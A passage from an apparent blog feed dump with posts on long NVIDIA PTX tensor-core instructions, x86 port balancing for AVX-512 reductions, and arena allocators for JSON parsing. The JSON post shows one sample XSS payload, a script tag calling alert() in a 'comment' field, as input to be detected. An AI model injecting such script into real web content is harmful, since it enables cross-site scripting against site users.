Wrong"},{"content":"The race for AI dominance isn\u0026rsquo;t just about who has the most computing - it\u0026rsquo;s increasingly about who can use it most efficiently. With the recent emergence of DeepSeek and other competitors in the AI space, even well-funded companies are discovering that raw computational power isn\u0026rsquo;t enough. The ability to squeeze maximum performance out of hardware through low-level optimization is becoming a crucial differentiator.\nOne powerful tool in this optimization arsenal is the ability to work directly with PTX, NVIDIA\u0026rsquo;s low-level Instruction Set Architecture (ISA). However, PTX instructions are quite different from those for traditional CPU assembly. PTX Intermediate Representations (IR) live between high-level languages like CUDA and the actual hardware-specific Streaming Assembler (SASS) instructions. PTX is more akin to Java bytecode than x86 Assembly. And as we\u0026rsquo;re about to discover, they can reach lengths that would make even the most verbose x86 \u0026ldquo;opcodes\u0026rdquo; blush!\nThe Longest PTX Mnemonic for Tensor Cores As everyone probably knows, Nvidia chips, starting with 2017 Volta, come with specialized Tensor Cores for tiled matrix multiplications. Diving into the somewhat outdated PTX 8.5 ISA documentation, we find an interesting specimen on page 432. Here\u0026rsquo;s the syntax description for one of such matrix multiplication instructions for the newer generation of Tensor Cores:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mma.spvariant.sync.aligned.shape.row.col{.satfinite}.s32.atype.btype.s32 d, a, b, c, e, f; .shape = {.m16n8k32, .m16n8k64} .atype = {.u8, .s8}; .btype = {.u8, .s8}; .spvariant = {.sp, .sp::ordered_metadata}; mma.spvariant.sync.aligned.shape.row.col{.satfinite}.s32.atype.btype.s32 d, a, b, c, e, f; .shape = {.m16n8k64, .m16n8k128} .atype = {.u4, .s4}; .btype = {.u4, .s4}; .spvariant = {.sp, .sp::ordered_metadata}; This describes the mma \u0026ldquo;mnemonic\u0026rdquo; variants for 8-bit and 4-bit integer inputs. The second variant is particularly interesting as it contains a three-digit dimension in the shape field. Choosing the longest combination, we will end up with the following operation code:\n1 2 mma.sp::ordered_metadata.sync.aligned.m16n8k128.row.col.satfinite.s32.u4.u4.s32 d, a, b, c, e, f; At 79 characters (excluding operands), this is one of the longest PTX instructions, and every part of its verbose name serves a specific purpose:\nmma is \u0026ldquo;Matrix Multiplication \u0026amp; Accumulation\u0026rdquo;, where 4 of the 6 operands contain the matrices: a, b, c, and d. sp::ordered_metadata is for the \u0026ldquo;Structured Sparsity\u0026rdquo; feature of Tensor Cores, with e and f operands providing \u0026ldquo;sparsity metadata\u0026rdquo; and \u0026ldquo;sparsity selector\u0026rdquo; values as 32-bit integers ranging 0-3. This way, we inform the core that some input matrix values are zero. sync and aligned imply that the operation is synchronous with aligned matrices. m16n8k128 defines the multiplication shape as $16 \\times 8 \\times 128$ for $M \\times N \\times K$ dimensions. row.col specifies row-major matrix ordering. satfinite enables result saturation and finite clamping for integer inputs. s32.u4.u4.s32 fixes types to 32-bit integers for d and c, 4-bit unsigned integers (range 0-15) for a and b. This instruction debuted in PTX ISA version 8.5, which coincided with the introduction of Hopper-generation H100 cards featuring the SM 9.0 architecture.\nThe Longest PTX Instruction for Tensor Cores The instruction becomes even more impressive when we include operands, which are typically arrays of register names. Here\u0026rsquo;s a complete example:\n1 2 3 4 5 6 7 .reg .b32 %Ra\u0026lt;4\u0026gt;, %Rb\u0026lt;4\u0026gt;, %Rc\u0026lt;4\u0026gt;, %Rd\u0026lt;4\u0026gt;; .reg .u32 %Re; mma.sp::ordered_metadata.sync.aligned.m16n8k128.row.col.satfinite.s32.u4.u4.s32 {%Rd0, %Rd1, %Rd2, %Rd3}, {%Ra0, %Ra1, %Ra2, %Ra3}, {%Rb0, %Rb1, %Rb2, %Rb3}, {%Rc0, %Rc1, %Rc2, %Rc3}, %Re, 0x0; PTX supports a rich type system with various variable declarations, including vectors and multi-dimensional arrays:\n1 2 3 4 5 .global .v4 .f32 V; // a length-4 vector of floats .shared .v2 .u16 uv; // a length-2 vector of unsigned ints .global .v4 .b8 v; // a length-4 vector of bytes .local .u16 kernel[19][19]; // a 19x19 array of unsigned shorts .shared .u8 mailbox[128]; // a 128-byte array of unsigned chars While PTX restricts register names to ASCII characters, it doesn\u0026rsquo;t explicitly limit their length. Documentation suggests that all implementations support a minimum length of at least 1024 characters. The NVIDIA PTX assembler (ptxas) may have internal limits, but they\u0026rsquo;re generous enough that most developers never encounter them. Myself included.\nCompiling SASS Understanding the supported matrix shapes and data types is crucial, but it doesn\u0026rsquo;t tell us everything about the underlying hardware-specific SASS instructions. Let\u0026rsquo;s see what happens when we compile our PTX code:\n1 2 $ ptxas -o longest_ptx.cubin -arch=sm_90a longest_ptx.ptx $ cuobjdump -sass longest_ptx.cubin | grep -i MMA Initially, we won\u0026rsquo;t see anything - the instructions get optimized out. However, if we add load and store operations, we\u0026rsquo;ll see:\n1 2 3 4 5 $ ptxas -o longest_ptx.cubin -arch=sm_90a longest_ptx.ptx $ cuobjdump -sass longest_ptx.cubin | grep -i MMA \u0026gt; /*0150*/ IMMA.SP.16864.U8.U8 R4, R4.ROW, R8.COL, RZ, R0, 0x0 ; /* 0x0000000804047237 */ \u0026gt; /*0230*/ IMMA.SP.16864.U8.U8 R8, R8.ROW, R12.COL, RZ, R0, 0x0 ; /* 0x0000000c08087237 */ Interestingly, on Hopper, our $16 \\times 8 \\times 128$ matrix multiplication gets split into two $16 \\times 8 \\times 64$ operations, as indicated by the 16864 code. Moreover, it\u0026rsquo;s emulated with uint8_t multiplication, not physically implemented in uint4_t! That\u0026rsquo;s true for both Hopper and the same on the upcoming Blackwell!\nMore Tensor Core Instructions The H100 introduced a new family of instructions - \u0026ldquo;Warp-Group Matrix-Multiply-Add\u0026rdquo; (wgmma). These offer more flexibility in matrix shapes and data types but with some trade-offs:\nAt least one operand must reside in shared memory, with dual shared memory operands potentially offering 5-10% better performance Thread synchronization has evolved significantly: Pre-Volta: Threads individually perform scalar FMA. Volta: HMMA instruction synchronizes 8-thread \u0026ldquo;quadpairs\u0026rdquo;. Ampere: Synchronization spans all 32 threads in a warp. Hopper: Synchronizes 4 continuous warps, meaning 128 threads. Blackwell (SM 100a) with PTX ISA 8.7 introduces yet another paradigm shift with the tcgen05 family of instructions, including countless new asynchronous primitives like tcgen05.alloc, tcgen05.dealloc, tcgen05.relinquish_alloc_permit, tcgen05.ld, tcgen05.st, tcgen05.wait, tcgen05.cp, tcgen05.shift, tcgen05.mma, tcgen05.mma.sp, tcgen05.mma.ws, tcgen05.mma.ws.sp, tcgen05.fence and tcgen05.commit. Some of those instructions have an extremely wide type palette, including 4- and 6-bit floating point representations and additional operands for scaling factors and rounding modes.\nHonorable Mentions While our MMA instruction is impressive, there are other contenders for the longest instruction title. Reduction operations with vector types can be quite verbose:\n1 2 3 4 red.relaxed.cluster.global.add.noftz.L2::cache_hint.v4.bf16x2 [a], b; red.async.relaxed.cluster.shared::cluster.mbarrier::complete_tx::bytes.min.u32 [addr], b, [mbar_addr]; Parallel Synchronization instructions also pack quite a few characters:\n1 2 clusterlaunchcontrol.try_cancel.async.shared::cta.mbarrier::complete_tx::bytes.multicast::cluster::all.b128 [addr], [mbar]; At 107 characters, this last one beats our MMA instruction in the raw character count. However, the MMA instruction still seems more complex in practice with only two operands versus MMA\u0026rsquo;s six and fewer period-separated tokens (7 vs 12).\nClosing Thoughts on CUTLASS I\u0026rsquo;ve been fighting against high-level abstractions for many years, but in rare cases, they make sense. The increasing complexity of the PTX ISA is one of those cases.\nWith Volta, Nvidia became the first major hardware vendor to switch from C-like compiler intrinsics to more expressive wmma:: C++-like intrinsics for tiled matrix multiplications:\n1 2 3 4 5 6 7 8 9 10 11 using namespace nvcuda; wmma::fragment\u0026lt;wmma::matrix_a, 16, 16, 16, half, wmma::row_major\u0026gt; a_frag; wmma::fragment\u0026lt;wmma::matrix_b, 16, 16, 16, half, wmma::col_major\u0026gt; b_frag; wmma::fragment\u0026lt;wmma::accumulator, 16, 16, 16, half\u0026gt; c_frag; // To initialize, we can call `wmma::fill_fragment` // or skip it for synthetic benchmarks: wmma::mma_sync(c_frag, a_frag, b_frag, c_frag); // Impossible condition to prevent optimization: if (threadIdx.x == -1) wmma::store_matrix_sync(NULL, c_frag, 16, wmma::mem_row_major); Now that the instructions are becoming so complex, the CUTLASS and its underlying CuTe \u0026ldquo;atoms\u0026rdquo; library are becoming the new de facto standards for writing high-performance code. Coming from Nvidia\u0026rsquo;s in-house engineers, they pack a ton of first-party knowledge on how to optimize for their hardware. An argument can be made that they should have become part of the CUDA Toolkit before the amazing CCCL project, but integrating both into a CMake-based C++ project isn\u0026rsquo;t hard.\nCheck out less_slow.cpp repository for examples on how to integrate them and feel free to suggest new kernels for less_slow.ptx and less_slow.cu files 🤗\nIt\u0026rsquo;s important to note that CUDA programming isn\u0026rsquo;t as niche as it was 10 years ago, and NVIDIA\u0026rsquo;s developer portals can be a great source of information and a platform to meet some of the NVIDIA engineers who are working on the next generation of CUDA compilers and libraries. There is an official Discord server, and Pradeep Ramani from the CUTLASS team has helped me a lot with navigating the project 🙏\nAppending PTX Sources 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 .version 8.5 // `sp::ordered_metadata` requires PTX 8.5+ .target sm_90a // `sm_90a` maps to Hopper-generation Streaming Multiprocessors .address_size 64 // 64-bit addressing .visible .entry my_kernel_name(.param .u64 output_ptr) { // Allocate PTX registers for the operands. .reg .b32 %Ra\u0026lt;4\u0026gt;, %Rb\u0026lt;4\u0026gt;, %Rc\u0026lt;4\u0026gt;, %Rd\u0026lt;4\u0026gt;; .reg .u32 %Re; .reg .u64 %out; // Load the pointer to global memory from the parameter. ld.param.u64 %out, [output_ptr]; // Perform the matrix multiplication. On Hopper this should compile into two // IMMA instructions, emulating U4 operations with U8: // // IMMA.SP.16864.U8.U8 R4, R4.ROW, R8.COL, RZ, R0, 0x0 ; // IMMA.SP.16864.U8.U8 R8, R8.ROW, R12.COL, RZ, R0, 0x0 ; // // Each will perform half of the operation resulting in a 16x8x64 product. mma.sp::ordered_metadata.sync.aligned.m16n8k128.row.col.satfinite.s32.u4.u4.s32 {%Rd0, %Rd1, %Rd2, %Rd3}, {%Ra0, %Ra1, %Ra2, %Ra3}, {%Rb0, %Rb1, %Rb2, %Rb3}, {%Rc0, %Rc1, %Rc2, %Rc3}, %Re, 0x0; // Store the result in global memory... without this, the `mma` will be optimized out. st.global.b32 [%out], %Rd0; st.global.b32 [%out+4], %Rd1; st.global.b32 [%out+8], %Rd2; st.global.b32 [%out+12], %Rd3; ret; } To compile for Hopper:\n1 2 $ ptxas -o longest_ptx.cubin -arch=sm_90a longest_ptx.ptx $ cuobjdump -sass longest_ptx.cubin | grep -i mma To compile on Blackwell, change the file header to:\n1 2 3 .version 8.7 // needed for Blackwell support .target sm_100a // `sm_100a` maps to Blackwell-generation Streaming Multiprocessors .address_size 64 // 64-bit addressing ","permalink":"https://ashvardanian.com/posts/longest-ptx-instruction/","summary":"\u003cp\u003eThe race for AI dominance isn\u0026rsquo;t just about who has the most computing - it\u0026rsquo;s increasingly about who can use it most efficiently.\nWith the recent emergence of DeepSeek and other competitors in the AI space, even well-funded companies are discovering that raw computational power isn\u0026rsquo;t enough.\nThe ability to squeeze maximum performance out of hardware through low-level optimization is becoming a crucial differentiator.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"CUDA → PTX → SASS\" loading=\"lazy\" src=\"/longest-ptx-instruction/longest-ptx-instruction.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eOne powerful tool in this optimization arsenal is the ability to work directly with PTX, NVIDIA\u0026rsquo;s low-level \u003ca href=\"https://en.wikipedia.org/wiki/Instruction_set_architecture\"\u003eInstruction Set Architecture (ISA)\u003c/a\u003e.\nHowever, PTX instructions are quite different from those for traditional CPU assembly.\nPTX \u003ca href=\"https://en.wikipedia.org/wiki/Intermediate_representation\"\u003eIntermediate Representations (IR)\u003c/a\u003e live between high-level languages like CUDA and the actual hardware-specific Streaming Assembler (SASS) instructions.\nPTX is more akin to \u003ca href=\"https://en.wikipedia.org/wiki/Java_bytecode\"\u003eJava bytecode\u003c/a\u003e than \u003ca href=\"https://en.wikipedia.org/wiki/X86_assembly_language\"\u003ex86 Assembly\u003c/a\u003e.\nAnd as we\u0026rsquo;re about to discover, they can reach lengths that would make even the most verbose x86 \u0026ldquo;opcodes\u0026rdquo; blush!\u003c/p\u003e","title":"The Longest Nvidia PTX Instruction"},{"content":"For High-Performance Computing engineers, here\u0026rsquo;s the gist:\nOn Intel CPUs, the vaddps instruction (vectorized float addition) executes on ports 0 and 5. The vfmadd132ps instruction (vectorized fused float multiply-add, or FMA) also executes on ports 0 and 5.\nOn AMD CPUs, however, the vaddps instruction takes ports 2 and 3, and the vfmadd132ps instruction takes ports 0 and 1. Since FMA is equivalent to simple addition when one of the arguments is 1, we can drastically increase the throughput of addition-heavy numerical kernels.\nEvery few years, I revisit my old projects to look for improvements and laugh at my younger self. Great experience! Totally recommend it!\nWhile refactoring the mess that was my ParallelReductionsBenchmark, I found an interesting optimization opportunity. The throughput of an AVX-512 kernel running at 211 GB/s on a single AMD Zen 4 core on AWS can be further improved to reach 330 GB/s! Sadly, this doesn\u0026rsquo;t apply to Intel.\nWhat Are CPU Ports and Latency Hiding? In the x86 world, CPU instructions are broken down into micro-ops, then dispatched to specialized ports for integer, floating-point, or load/store tasks. In a way, you can think about CPU ports as the next level of parallelism after SIMD registers, where the same or different instructions can be executing simultaneously.\nThe cryptic notation, such as 1*p15+1*p23, shows how many micro-ops go to each port on different microarchitectures. This means the instruction is first dispatched to port 1 or 5, then continues on port 2 or 3.\nEffective \u0026ldquo;port balancing\u0026rdquo; is crucial for saturating available bandwidth and hiding latency. For those interested, tools like uops.info or Agner Fog\u0026rsquo;s optimization guides compile this information for various CPU vendors and generations, saving you from diving into unstructured vendor- and generation-specific PDFs. The number of ports and capabilities vary significantly between CPU models and vendors.\nIntel Ice Lake ports AMD Zen 4 ports AES ops like AESENC (XMM, XMM) 0 0, 1 CRC ops like CRC32 (R32, R32) 1 N/A on uops.info Aligned loads like VMOVDQA64 (ZMM, M512) 2, 3 0, 1, 2, 3 Adding bytes like VPADDB (ZMM, ZMM, ZMM) 0, 5 0, 1, 2, 3 Adding doubles like VADDPD (ZMM, ZMM, ZMM) 0, 5 2, 3 FMA like VFMADD132PS (ZMM, ZMM, ZMM) 0, 5 0, 1 Check out VSCATTERQPS (VSIB_ZMM, K, YMM) for a truly complex port signature. According to uops.info, it looks like 2*p0+1*p0156+8*p49+8*p78 on Ice Lake, while on Zen 4, it\u0026rsquo;s 2*FP12+3*FP123+3*FP23+18*FP45.\nOld AVX-512 Kernel Below is my old AVX-512 kernel designed for large input arrays aligned to at least 64 bytes.\nI\u0026rsquo;m using non-temporal loads, which are generally recommended when handling large volumes of data in a streaming fashion. This prevents CPU cache pollution with data that will soon be evicted without reuse.\nThe kernel traverses the input array in two directions - forward and reverse. Modern CPUs easily predict both traversal patterns and prefetch accordingly. Pulling data from different ends helps keep the TLB caches warm.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 class avx512_f32streamed_t { float const *const begin_ = nullptr; float const *const end_ = nullptr; public: avx512_f32streamed_t() = default; avx512_f32streamed_t(float const *b, float const *e) noexcept : begin_(b), end_(e) {} float operator()() const noexcept { auto it_begin = begin_; auto it_end = end_; __m512 acc1 = _mm512_setzero_ps(); // Accumulator for forward direction __m512 acc2 = _mm512_setzero_ps(); // Accumulator for reverse direction // Process in chunks of 16 floats in each direction for (; it_end - it_begin \u0026gt;= 32; it_begin += 16, it_end -= 16) { acc1 = _mm512_add_ps(acc1, _mm512_castsi512_ps(_mm512_stream_load_si512((void *)(it_begin)))); acc2 = _mm512_add_ps(acc2, _mm512_castsi512_ps(_mm512_stream_load_si512((void *)(it_end - 16)))); } // Combine the accumulators __m512 acc = _mm512_add_ps(acc1, acc2); float sum = _mm512_reduce_add_ps(acc); //! Not an instruction, but fine with GCC \u0026amp; Clang while (it_begin \u0026lt; it_end) sum += *it_begin++; return sum; } }; A common suggestion for my libraries (mainly StringZilla and SimSIMD) is to unroll the loops. I generally oppose this idea in naive kernels like these. While you might gain a few points in synthetic micro-benchmarks, you\u0026rsquo;ll consume more L1i instruction cache, potentially hurting other parts of your program - and likely getting no improvements in return.\nCheck out how poorly the unrolled f32unrolled variants perform in the end.\nNew AVX-512 Kernel The new kernel is similar but uses more registers! It employs 4 independent accumulators and a dedicated register of 1.0f values. As before, the _mm512_add_ps intrinsic (mapping to vaddps zmm, zmm, zmm instruction) is called twice in the loop body. Additionally, we use the _mm512_fmadd_ps intrinsic (mapping to vfmadd132ps zmm, zmm, zmm) twice in the loop.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 class avx512_f32interleaving_t { float const *const begin_ = nullptr; float const *const end_ = nullptr; public: avx512_f32interleaving_t() = default; avx512_f32interleaving_t(float const *b, float const *e) : begin_(b), end_(e) {} float operator()() const noexcept { auto it_begin = begin_; auto it_end = end_; __m512 acc1 = _mm512_setzero_ps(); // Accumulator for forward direction addition __m512 acc2 = _mm512_setzero_ps(); // Accumulator for reverse direction addition __m512 acc3 = _mm512_setzero_ps(); // Accumulator for forward direction FMAs __m512 acc4 = _mm512_setzero_ps(); // Accumulator for reverse direction FMAs __m512 ones = _mm512_set1_ps(1.0f); // Process in chunks of 32 floats in each direction for (; it_end - it_begin \u0026gt;= 64; it_begin += 32, it_end -= 32) { acc1 = _mm512_add_ps(acc1, _mm512_castsi512_ps(_mm512_stream_load_si512((void *)(it_begin)))); acc2 = _mm512_add_ps(acc2, _mm512_castsi512_ps(_mm512_stream_load_si512((void *)(it_end - 16)))); acc3 = _mm512_fmadd_ps(ones, _mm512_castsi512_ps(_mm512_stream_load_si512((void *)(it_begin + 16))), acc3); acc4 = _mm512_fmadd_ps(ones, _mm512_castsi512_ps(_mm512_stream_load_si512((void *)(it_end - 32))), acc4); } // Combine the accumulators __m512 acc = _mm512_add_ps(_mm512_add_ps(acc1, acc2), _mm512_add_ps(acc2, acc3)); float sum = _mm512_reduce_add_ps(acc); while (it_begin \u0026lt; it_end) sum += *it_begin++; return sum; } }; On AMD Zen 4 CPUs, acc1 and acc2 execute on ports 2 and 3, while acc3 and acc4 run on ports 0 and 1.\nBenchmarks For the environment, I used an AWS m7a.metal-48xlarge instance with 192 cores across 2 sockets. The code is compiled with GCC 14.2 on Ubuntu 24.04. For context, each core has 32 KiB of L1 and 1024 KiB of L2 data cache on that machine.\nWith tiny arrays, like 1024 floats, we don\u0026rsquo;t need to touch RAM. The numbers exceed RAM throughput and reflect ALU throughput, exceeding 330 GB/s for the newest latency-hiding variant:\n1 2 3 4 5 Benchmark Time CPU Iterations UserCounters... -------------------------------------------------------------------------------------------------------------------- avx512/f32/streamed/min_time:10.000/real_time 19.4 ns 19.4 ns 724081506 bytes/s=211.264G/s avx512/f32/unrolled/min_time:10.000/real_time 15.1 ns 15.1 ns 934282388 bytes/s=271.615G/s avx512/f32/interleaving/min_time:10.000/real_time 12.3 ns 12.3 ns 1158791855 bytes/s=332.539G/s For a much larger dataset of 268,435,456 floats coming from RAM, the throughput is lower, but we still see a 56% improvement over the baseline:\n1 2 3 4 5 Benchmark Time CPU Iterations UserCounters... ------------------------------------------------------------------------------------------------------------------------- avx512/f32/streamed/min_time:10.000/real_time 57275577 ns 57274822 ns 239 bytes/s=18.7469G/s avx512/f32/unrolled/min_time:10.000/real_time 45038995 ns 45038427 ns 310 bytes/s=23.8403G/s avx512/f32/interleaving/min_time:10.000/real_time 36912750 ns 36912281 ns 383 bytes/s=29.0886G/s When running on multiple cores, we\u0026rsquo;re only as fast as we are lucky! Performance depends on core affinity to the target memory region, which is controlled by the Linux kernel.\n1 2 3 4 5 Benchmark Time CPU Iterations UserCounters... ------------------------------------------------------------------------------------------------------------------------- avx512/f32/streamed/std::threads/min_time:10.000/real_time 9736048 ns 9538167 ns 1446 bytes/s=110.285G/s avx512/f32/unrolled/std::threads/min_time:10.000/real_time 8402737 ns 8278814 ns 1664 bytes/s=127.785G/s avx512/f32/interleaving/std::threads/min_time:10.000/real_time 8200623 ns 8140023 ns 1694 bytes/s=130.934G/s The next addition to ParallelReductionsBenchmark will likely be a lower-level thread pool, replacing std::thread with POSIX API to control core affinity. While I\u0026rsquo;m working on something else right now, if you want to collaborate - that task is up for grabs along with a few other \u0026ldquo;good first issues\u0026rdquo; 🤗\nFinal Remarks It\u0026rsquo;s uncommon to find operations as basic as addition where we can hide latency. It\u0026rsquo;s less uncommon with higher-level operations involving complex logic that can be implemented in multiple ways. My favorite example is Pete Cawley\u0026rsquo;s CRC32 implementation, which combines the hardware-accelerated CRC instruction (issued via _mm_crc32_u64) with the carryless multiply instruction (issued via _mm_clmulepi64_si128). I\u0026rsquo;ve just linked it to my less_slow.cpp tutorial, and I recommend checking it out!\n","permalink":"https://ashvardanian.com/posts/cpu-ports/","summary":"\u003cp\u003eFor High-Performance Computing engineers, here\u0026rsquo;s the gist:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eOn Intel CPUs, the \u003ccode\u003evaddps\u003c/code\u003e instruction (vectorized \u003ccode\u003efloat\u003c/code\u003e addition) executes on ports 0 and 5.\nThe \u003ccode\u003evfmadd132ps\u003c/code\u003e instruction (vectorized fused \u003ccode\u003efloat\u003c/code\u003e multiply-add, or FMA) \u003cstrong\u003ealso\u003c/strong\u003e executes on ports 0 and 5.\u003c/p\u003e\n\u003cp\u003eOn AMD CPUs, however, the \u003ccode\u003evaddps\u003c/code\u003e instruction takes ports 2 and 3, and the \u003ccode\u003evfmadd132ps\u003c/code\u003e instruction takes ports 0 and 1.\nSince FMA is equivalent to simple addition when one of the arguments is 1, we can drastically increase the throughput of addition-heavy numerical kernels.\u003c/p\u003e","title":"Hiding x86 Port Latency for 330 GB/s/core Reductions 🫣"},{"content":"I\u0026rsquo;d argue that almost every open-source developer gets an extra spark of joy when someone reads the documentation and uses their tool in a way that goes beyond the classic 101 examples. It\u0026rsquo;s a rare treat even for popular projects like JSON parsers, but if you are building high-throughput software, such as analyzing millions of network packets per second, you\u0026rsquo;ll have to dig deeper.\nThe first thing I generally check in such libraries is the memory usage pattern and whether I can override the default memory allocator. It is the most common singleton of them all!\nFrom my vantage point, singletons are a significant code smell. They might be convenient in small demos, but they come back to bite you in high-performance environments. In this article, we\u0026rsquo;ll dig into how some of the most popular JSON parsing libraries handle memory management, why singletons make me cringe, how hard it is to implement hybrid structures in C++ what C++ developers can learn from C, and what difference custom allocators can make — especially when you\u0026rsquo;re parsing short JSON objects on a tight budget.\nYou can also jump directly to the source code by exploring the JSON #pragma region of less_slow.cpp repository on GitHub.\nThe Cast \u0026amp; The Scene There are several well-known libraries for JSON parsing in C/C++.\nThe most popular is Niels Lohmann\u0026rsquo;s json for \u0026ldquo;Modern C++\u0026rdquo;. The most portable is likely Yaoyuan Guo\u0026rsquo;s yyjson, implemented in pure C. The fastest for large inputs is Daniel Lemire\u0026rsquo;s simdjson, which uses SIMD. Others also include (4.) Tencent\u0026rsquo;s RapidJSON and (5.) Stephen Berry\u0026rsquo;s Glaze, but we\u0026rsquo;ll focus on the first two for brevity. As the inputs get longer, they are generally dominated by string parsing, where SIMD plays a crucial role and has been broadly covered in this blog. Sadly, simdjson doesn\u0026rsquo;t currently support custom memory allocators, which is a big reason for many to explore the alternatives.\nYou might think, \u0026ldquo;But my JSON files are tiny! Why care?\u0026rdquo; When the JSON is short—like the stuff jammed into network packets—your bottleneck shifts to the state machine logic and memory allocations. And that\u0026rsquo;s where things get interesting.\nShort JSONs are extremely common in configuration files and network packets, and we can optimize the usage pattern accordingly. For example, when processing network packets, we know the underlying protocol\u0026rsquo;s Maximum Transmission Unit (MTU).\nLink Layer: Ethernet: 1500 bytes, or 9000 bytes with Jumbo Frames 802.11 Wi-Fi: 2304 bytes excluding headers, often reduced to 1500 bytes for compatibility with Ethernet InfiniBand: configurable between 256, 512, 1024, 2048, and 4096 bytes Network Layer: IPv4: 576 to 1500 bytes with Path MTU Discovery IPv6: 1280 to 1500 bytes with Path MTU Discovery Transport Layer: TCP: normally up to 1460 bytes of payload, subtracting 20 bytes for the IP header and 20 bytes for the TCP header from the most common 1500 bytes of Ethernet MTU RDMA: normally 4096, when operating over InfiniBand So I opted for a fixed-size, on-stack buffer of 4 KB—one page on most operating systems—perfect for DOM-like (Document Object Model) parsing. We swallow the entire JSON object in one go, and then perform a recursive walk to hunt down anything suspicious, like malicious scripts for Cross-Site Scripting (XSS):\n1 { \u0026#34;comment\u0026#34;: \u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;XSS\u0026#39;)\u0026lt;/script\u0026gt;\u0026#34; } Fixed Buffer Arena To implement an arena allocator, we must define three functions: allocate, deallocate, and reallocate. We may need additional bookkeeping to reuse the freed space if the deallocations can happen in any order. Bookkeeping, however, isn\u0026rsquo;t free in time or space\u0026hellip;\nOur alternative is to keep 2 counters: total_allocated and total_reclaimed. Both are monotonically increasing, but once total_reclaimed reaches total_allocated, we can reset both to zero and start populating the buffer from the beginning.\n1 2 3 4 5 6 7 8 9 10 11 12 13 struct fixed_buffer_arena_t { static constexpr std::size_t capacity = 4096; alignas(64) std::byte buffer[capacity]; /// The offset (in bytes) of the next free location std::size_t total_allocated = 0; /// The total bytes \u0026#34;freed\u0026#34; so far std::size_t total_reclaimed = 0; }; std::byte *allocate_from_arena(fixed_buffer_arena_t \u0026amp;arena, std::size_t size); void deallocate_from_arena(fixed_buffer_arena_t \u0026amp;arena, std::byte *ptr, std::size_t size); std::byte *reallocate_from_arena(fixed_buffer_arena_t \u0026amp;arena, std::byte *ptr, std::size_t old_size, std::size_t new_size); We chose our arena to be 4096 bytes, a standard RAM page size on most modern Operating Systems. We also align it to 64 bytes, the cache line size on many modern CPUs.\nIt\u0026rsquo;s true for most Intel and AMD CPUs but often wrong for Arm. For example, the cache line size is 128 bytes on Apple M-series Arm chips. On Intel and AMD, you can query the cache line size using the cpuid instruction, but you\u0026rsquo;d need to parse the output differently. On Linux-powered Arm systems, you can also read a specialized register, but on macOS, that is not allowed, and you\u0026rsquo;d need to use sysctlbyname. Overall, reading the cache line size in a portable fashion is a bit of a mess, but it\u0026rsquo;s worth it for performance-critical code.\nIn C++, most developers wouldn\u0026rsquo;t think twice about raising a std::bad_alloc exception when out of memory. At the same time, around 20% of C++ employers explicitly ban using exceptions, according to annual JetBrains surveys. And they are right to do so, as exceptions can be extremely slow when thrown frequently! Our functions will be better, and will be attributed with noexcept and inline, and will return nullptr on failure, as C projects do:\n1 2 3 4 5 6 inline std::byte *allocate_from_arena(fixed_buffer_arena_t \u0026amp;arena, std::size_t size) noexcept { if (arena.total_allocated + size \u0026gt; fixed_buffer_arena_t::capacity) return nullptr; // Not enough space std::byte *ptr = arena.buffer + arena.total_allocated; arena.total_allocated += size; return ptr; } Deallocation, as mentioned, is a no-op until the total reclaimed space equals the total allocated space. Then we reset both counters to zero and start from the beginning:\n1 2 3 4 inline void deallocate_from_arena(fixed_buffer_arena_t \u0026amp;arena, std::byte *ptr, std::size_t size) noexcept { arena.total_reclaimed += size; if (arena.total_allocated == arena.total_reclaimed) arena.total_allocated = 0, arena.total_reclaimed = 0; } Reallocating is more complex, as we need to check if we can grow in place or if we need to allocate a new block, copy the data, and free the old block. For readers\u0026rsquo; familiarity, we will use std::memmove for the copy, but for higher performance, I\u0026rsquo;d use sz_move from StringZilla, which should yield another 10% boost on AVX-512 capable CPUs:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include \u0026lt;cstring\u0026gt; // `std::memmove` inline std::byte *reallocate_from_arena( fixed_buffer_arena_t \u0026amp;arena, std::byte *ptr, std::size_t old_size, std::size_t new_size) noexcept { if (!ptr) return allocate_from_arena(arena, new_size); // A fresh allocation if (new_size == 0) { // This is effectively a `free` operation deallocate_from_arena(arena, ptr, old_size); return nullptr; } std::byte *end_of_this_chunk = ptr + old_size; std::byte *arena_end = arena.buffer + arena.total_allocated; bool is_last_chunk = end_of_this_chunk == arena_end; if (is_last_chunk) { // Expand in-place if there\u0026#39;s enough room std::size_t offset = static_cast\u0026lt;std::size_t\u0026gt;(ptr - arena.buffer); std::size_t required_space = offset + new_size; if (required_space \u0026lt;= fixed_buffer_arena_t::capacity) { // We can grow (or shrink) in place arena.total_allocated = required_space; return ptr; } } // If we can\u0026#39;t grow in place, do: allocate new + copy + free old std::byte *new_ptr = allocate_from_arena(arena, new_size); if (!new_ptr) return nullptr; // Out of memory // Copy the old data std::memmove(new_ptr, ptr, std::min(old_size, new_size)); deallocate_from_arena(arena, ptr, old_size); return new_ptr; } Piece of cake!\nParsing JSON in C yyjson is one of my favorite libraries—it\u0026rsquo;s delightfully simple to integrate and does exactly what it promises. Distributed as a single header and a single source file, its only dependency is the C standard library. Even better, it supports custom memory allocators and lets you selectively mask off big chunks of its codebase. That can speed up compilation, which is always a bonus. While yyjson may not reach the super-scalar heights of simdjson, it\u0026rsquo;s still impressively portable across platforms.\nGetting yyjson into your project takes just a few lines in the CMakeLists.txt:\n1 2 3 4 5 6 7 FetchContent_Declare( YaoyuanGuoYYJSON GIT_REPOSITORY https://github.com/ibireme/yyjson.git GIT_TAG 0.10.0 ) FetchContent_MakeAvailable(YaoyuanGuoYYJSON) target_link_libraries(less_slow PRIVATE yyjson) Then, define a few macros in the source to disable features you don\u0026rsquo;t need—like writing JSON or UTF-8 validation—so you can slim down the library further:\n1 2 3 4 #define YYJSON_DISABLE_WRITER 1 // We don\u0026#39;t plan to dump JSON, only parse it #define YYJSON_DISABLE_UTILS 1 // We 